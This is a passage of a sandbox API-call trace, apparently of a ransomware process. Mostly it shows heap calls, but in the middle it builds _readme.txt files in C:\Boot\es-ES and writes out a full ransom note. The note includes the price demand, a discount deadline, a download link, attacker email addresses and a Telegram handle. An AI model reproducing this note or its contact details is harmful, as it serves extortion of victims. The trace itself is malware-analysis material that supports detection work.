[0119.556] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.556] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.556] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.556] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.556] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307fdd8 [0119.556] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.556] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.556] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.556] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307fdd8 [0119.556] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.556] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.556] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.556] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.556] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.556] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.556] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.556] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.556] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.556] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.556] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.556] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.556] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.556] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.556] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.556] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.556] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.556] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.556] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.556] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.557] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.557] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.557] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.557] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.557] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.557] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.557] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.557] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.557] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.557] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.557] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.557] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.557] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0119.557] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.557] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.557] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.557] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.557] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.557] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.557] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.557] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.557] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.557] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.557] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.557] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.557] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.557] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.557] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.557] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.557] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.557] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.557] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.557] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.557] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.558] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.558] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.558] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.558] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.558] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0119.558] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.558] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.558] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.558] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.558] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307fdd8 [0119.558] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.558] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.558] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.558] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307fdd8 [0119.558] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.558] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.558] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.558] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.558] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.558] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.558] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.558] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.558] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.558] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.558] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.558] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.558] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.558] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.558] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.558] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.558] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.558] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.558] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.559] PathFindFileNameW (pszPath="C:\\Boot\\es-ES\\") returned="es-ES\\" [0119.559] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0119.559] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.559] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.559] PathFindFileNameW (pszPath="") returned="" [0119.559] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x754f0000 [0119.559] GetProcAddress (hModule=0x754f0000, lpProcName="SHGetFolderPathW") returned 0x75575708 [0119.559] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3092b80 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0119.559] FreeLibrary (hLibModule=0x754f0000) returned 1 [0119.559] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.559] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.559] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.559] PathAppendW (in: pszPath="C:\\Boot\\es-ES\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\es-ES\\_readme.txt") returned 1 [0119.559] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.559] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.559] PathFileExistsW (pszPath="C:\\Boot\\es-ES\\_readme.txt") returned 0 [0119.560] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x7d00) returned 0x3095780 [0119.560] lstrcpyW (in: lpString1=0x3095780, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf" [0119.560] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf", lpString2="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudfplhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudfplhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M" [0119.560] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x3080660 [0119.560] CreateFileW (lpFileName="C:\\Boot\\es-ES\\_readme.txt" (normalized: "c:\\boot\\es-es\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0119.561] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3080660 | out: hHeap=0x5e0000) returned 1 [0119.561] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3095780 | out: hHeap=0x5e0000) returned 1 [0119.561] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.561] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.561] FindFirstFileW (in: lpFileName="C:\\Boot\\es-ES\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0119.561] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.561] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0119.561] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0119.561] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0119.561] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0119.561] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.561] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30229c0 | out: hHeap=0x5e0000) returned 1 [0119.561] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x30229c0 [0119.561] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.561] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.561] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.561] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.561] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.561] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.561] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.561] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.562] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.562] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.562] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.562] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.562] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.562] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.562] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.562] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.562] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.562] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.562] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.562] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.562] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.562] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.562] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.562] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.562] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.562] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.562] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.562] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc2e) returned 0x3092b80 [0119.562] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.562] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.562] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.562] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.562] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.562] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.562] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.562] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.562] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.562] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.562] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.562] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.562] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.563] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.563] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.563] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.563] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.563] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: 